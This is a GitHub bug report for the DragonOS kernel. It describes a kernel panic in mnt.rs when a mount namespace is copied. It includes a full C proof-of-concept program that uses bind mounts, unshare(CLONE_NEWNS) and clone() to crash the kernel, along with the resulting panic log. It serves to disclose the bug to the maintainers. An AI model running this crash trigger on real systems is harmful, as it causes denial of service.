Skip to content

[BUG REPORT] mount_path lookup failure in mnt.rs during mount namespace copy #1734

@nuczyc

Description

@nuczyc

Describe the bug

A kernel panic occurs in mnt.rs:251 when creating new mount namespaces via unshare(CLONE_NEWNS) or clone(CLONE_NEWNS). During the namespace copy operation, the kernel fails to find a mount path by inode number via get_mount_path_by_ino(), triggering a panic with the message "mount_path not found".

.expect("mount_path not found"),

To Reproduce

  1. Compile the program and run.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>

/*
 * PoC for DragonOS kernel panic in copy_mnt_ns function
 * 
 * The crash occurs in the kernel when copying a mount namespace during
 * clone(CLONE_NEWNS) or unshare(CLONE_NEWNS) operations. The panic happens
 * when the kernel tries to look up a mount path by inode number but fails,
 * causing an unwrap() to panic.
 * 
 * This PoC attempts to trigger the condition by:
 * 1. Creating multiple mount points
 * 2. Creating a new mount namespace while mounts are being modified
 * 3. The race condition or inconsistency in mount tracking may trigger the panic
 * 
 * Note: This may not reliably trigger the crash as it depends on internal
 * kernel state and timing. The actual vulnerability requires specific conditions
 * in the mount namespace data structures.
 */

int create_mount_points() {
    // Create multiple mount points to increase complexity
    if (mkdir("/tmp/mnt1", 0755) == -1 && errno != EEXIST) {
        perror("mkdir /tmp/mnt1");
        return -1;
    }
    
    if (mkdir("/tmp/mnt2", 0755) == -1 && errno != EEXIST) {
        perror("mkdir /tmp/mnt2");
        return -1;
    }
    
    // Create some bind mounts to populate mount table
    if (mount("/tmp", "/tmp/mnt1", "none", MS_BIND, NULL) == -1) {
        perror("mount /tmp/mnt1");
        return -1;
    }
    
    if (mount("/proc", "/tmp/mnt2", "none", MS_BIND, NULL) == -1) {
        perror("mount /tmp/mnt2");
        return -1;
    }
    
    return 0;
}

void cleanup_mounts() {
    umount("/tmp/mnt1");
    umount("/tmp/mnt2");
    rmdir("/tmp/mnt1");
    rmdir("/tmp/mnt2");
}

int trigger_namespace_copy() {
    pid_t pid;
    int status;
    
    // Create multiple processes to increase chance of hitting race condition
    for (int i = 0; i < 10; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            continue;
        }
        
        if (pid == 0) {
            // Child process - try to create new mount namespace
            // This should trigger copy_mnt_ns in the kernel
            if (unshare(CLONE_NEWNS) == -1) {
                perror("unshare CLONE_NEWNS");
                exit(1);
            }
            
            // In the new namespace, perform some mount operations
            // This might expose inconsistencies in mount tracking
            if (mount("none", "/tmp", "tmpfs", 0, NULL) == -1) {
                perror("mount tmpfs");
            }
            
            // Try to create another nested namespace
            pid_t nested_pid = fork();
            if (nested_pid == 0) {
                // Grandchild process - another namespace copy
                if (unshare(CLONE_NEWNS) == -1) {
                    perror("nested unshare");
                }
                exit(0);
            } else if (nested_pid > 0) {
                waitpid(nested_pid, &status, 0);
            }
            
            exit(0);
        }
    }
    
    // Wait for all children
    while (wait(&status) > 0) {
        // Continue waiting
    }
    
    return 0;
}

int main() {
    printf("DragonOS mount namespace panic PoC\n");
    printf("Attempting to trigger kernel panic in copy_mnt_ns...\n");
    
    // Set up mount points
    if (create_mount_points() == -1) {
        printf("Failed to create mount points\n");
        return 1;
    }
    
    // Try to trigger the vulnerability
    trigger_namespace_copy();
    
    // Alternative approach using clone with CLONE_NEWNS
    printf("Trying clone(CLONE_NEWNS) approach...\n");
    
    void *stack = malloc(1024 * 1024);
    if (!stack) {
        perror("malloc stack");
        cleanup_mounts();
        return 1;
    }
    
    pid_t pid = clone(trigger_namespace_copy, 
                      (void*)((char*)stack + 1024 * 1024),
                      CLONE_NEWNS | SIGCHLD,
                      NULL);
    
    if (pid == -1) {
        perror("clone CLONE_NEWNS");
        free(stack);
    } else {
        waitpid(pid, NULL, 0);
        free(stack);
    }
    
    cleanup_mounts();
    
    printf("PoC completed. If the kernel is vulnerable, it should have panicked.\n");
    printf("If not, the system should still be running.\n");
    
    return 0;
}

Environment

Logs

root@dragonos:/bin# ./ex1956___home__yuchen__dragon__DragonOS__kernel__s 
DragonOS mount namespace panic PoC
Attempting to trigger kernel panic in copy_mnt_ns...
[ ERROR ] (src/debug/panic/mod.rs:43)    Kernel Panic Occurred. raw_pid: 23
Location:
        File: src/process/namespace/mnt.rs
        Line: 251, Column: 26
Message:
        mount_path not found
Rust Panic Backtrace:
[1] function:_Unwind_Backtrace()        (+) 0051 address:0xffff8000004db083
Current PCB:
        ProcessControlBlock { pid: AtomicRawPid { container: 23 }, tgid: RawPid(23), thread_pid: RwLock { lock: 0, data: UnsafeCell { .. } }, pid_links: [PidLink { pid: RwLock { lock: 0, data: UnsafeCell { .. } } }, PidLink { pid: RwLock}

Metadata

Metadata

Assignees

No one assigned

    Labels

    bug-report这是一个bug报告(如果确认是一个bug,请管理人员添加`bug` label)enhancementNew feature or request

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions